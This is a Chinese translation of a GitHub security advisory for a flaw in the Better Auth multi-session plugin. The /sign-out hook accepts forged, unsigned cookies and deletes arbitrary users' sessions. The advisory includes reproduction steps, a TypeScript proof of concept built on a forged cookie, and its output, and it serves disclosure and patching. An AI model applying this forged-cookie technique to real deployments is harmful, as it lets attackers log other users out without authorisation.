Better Auth多会话插件存在漏洞,伪造Cookie可注销任意用户会话

文章详细披露了Better Auth身份验证库中多会话插件的一个安全漏洞。该漏洞允许经过身份验证的攻击者通过伪造特定的Cookie,远程注销任意其他用户的会话,涉及身份验证逻辑缺陷和会话管理安全问题。

GHSA-wmjr-v86c-m9jj:Better Auth多会话插件的会话注销钩子允许通过伪造Cookie来撤销任意会话

严重性等级:低 GitHub 已审核 发布日期:2025年11月26日 所属仓库:better-auth/better-auth 最后更新:2025年11月26日

漏洞详情

包管理器:npm 包名:better-auth (npm) 受影响版本:>= 1.3.34, < 1.4.0 已修复版本:1.4.0

描述

摘要

易受攻击的组件:多会话插件的 /sign-out 后置钩子 (packages/better-auth/src/plugins/multi-session/index.ts) 问题:该钩子信任原始的多会话Cookie,并将未经清理的令牌转发给 internalAdapter.deleteSessions,允许攻击者伪造Cookie来撤销任意会话。 状态:已使用更新的概念验证在本地复现。

影响

任何已经过身份验证的攻击者,如果能够获取其他用户的明文会话令牌(例如通过日志泄露、备份等),就可以伪造一个多会话Cookie并触发/sign-out端点。该钩子会提取攻击者提供的令牌并删除受害者的会话,导致跨账户注销。此过程不需要签名密钥

产品/版本

  • 仓库:better-auth
  • 分支:canary
  • 受影响文件packages/better-auth/src/plugins/multi-session/index.ts (当前HEAD)
  • 依赖配置pnpm install, Bun运行时 (bun v1.3.0)

复现步骤

  1. 克隆仓库并使用 pnpm install 安装依赖。
  2. 确保已安装Bun。
  3. 将下面的概念验证脚本保存为 PROOF_OF_CONCEPTS/multi_session/force-signout.ts
  4. 运行:
    1
    
    bun run --conditions better-auth-dev-source PROOF_OF_CONCEPTS/multi_session/force-signout.ts
    
  5. 观察模拟的适配器日志中会显示对攻击者所选令牌的删除操作。

概念验证

当前PoC(选择了正确的注销钩子并演示了伪造Cookie的流程):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import { multiSession } from "../../packages/better-auth/src/plugins/multi-session";
import type { AuthMiddleware } from "../../packages/core/src/api/index";

const plugin = multiSession();

const hook = plugin.hooks.after
  ?.slice()
  .reverse()
  .find((h) => h.matcher({ path: "/sign-out" } as any));

const deleteSessions = (tokenList: string[]) => {
  console.log("deleteSessions invoked with:", tokenList);
};

const ctx = {
  headers: new Headers({
    cookie: "better-auth.session_token=my-valid-session; better-auth.session_token_multi-target=TARGETTOKEN.fake",
  }),
  context: {
    secret: "dummy-secret",
    authCookies: {
      sessionToken: {
        name: "better-auth.session_token",
        options: {},
      },
    },
    internalAdapter: {
      deleteSessions: deleteSessions,
    },
  },
  getSignedCookie: async (name: string) => {
    if (name.includes("_multi-")) {
      // 模拟伪造的Cookie看起来是有效的
      return "TARGETTOKEN";
    }
    return "my-valid-session";
  },
  setCookie: () => {},
  json: () => {},
} as unknown as Parameters<AuthMiddleware>[0];

if (!hook) {
  throw new Error("Sign-out hook not found");
}

(async () => {
  await hook.handler(ctx as any);
})();

PoC 输出

1
deleteSessions invoked with: [ "TARGETTOKEN" ]

这表明处理程序接受了伪造的Cookie,并尝试删除攻击者指定的会话令牌。

根本原因

多会话注销钩子使用 parseCookies(cookieHeader) 解析Cookie,对于每个匹配 _multi- 命名模式的键,它会设置一个空的Cookie响应,并按.分割值以提取令牌。在调用 ctx.context.internalAdapter.deleteSessions(...) 之前,没有调用 ctx.getSignedCookie 或等效的验证步骤

严重性 / CVSS

  • 向量:CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H
  • 依据:已登录的攻击者,无需用户交互,危害可跨用户传播;由于可以远程撤销会话,对完整性和可用性的影响都很高。

此漏洞由 winfunc 发现。

参考


Bekacru 发布于 better-auth/better-auth 发布日期:2025年11月26日 发布于 GitHub 安全通告数据库:2025年11月26日 已审核:2025年11月26日 最后更新:2025年11月26日

严重性

等级:低 CVSS总体评分:2.0

此分数根据通用漏洞评分系统(CVSS)计算整体漏洞严重程度,范围从0到10。

CVSS v4 基础指标

可利用性指标

  • 攻击向量:网络
  • 攻击复杂度:低
  • 攻击要求:存在
  • 所需权限:高
  • 用户交互:被动

脆弱系统影响指标

  • 机密性:低
  • 完整性:低
  • 可用性:低

后续系统影响指标

  • 机密性:低
  • 完整性:低
  • 可用性:无

CVSS v4 向量字符串:CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:P/VC:L/VI:L/VA:L/SC:L/SI:L/SA:N

EPSS 分数

(文章中未提供具体分数)

弱点

  • CWE-287:不恰当的身份验证

    当参与者声称拥有某个身份时,产品没有证明或未能充分证明该声明是正确的。

  • CWE-345:对数据真实性的验证不足

    产品没有充分验证数据的来源或真实性,导致其接受了无效数据。

标识符

  • CVE ID:未知
  • GHSA ID:GHSA-wmjr-v86c-m9jj

源代码

better-auth/better-auth

致谢

  • 发现者:mufeedvh
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计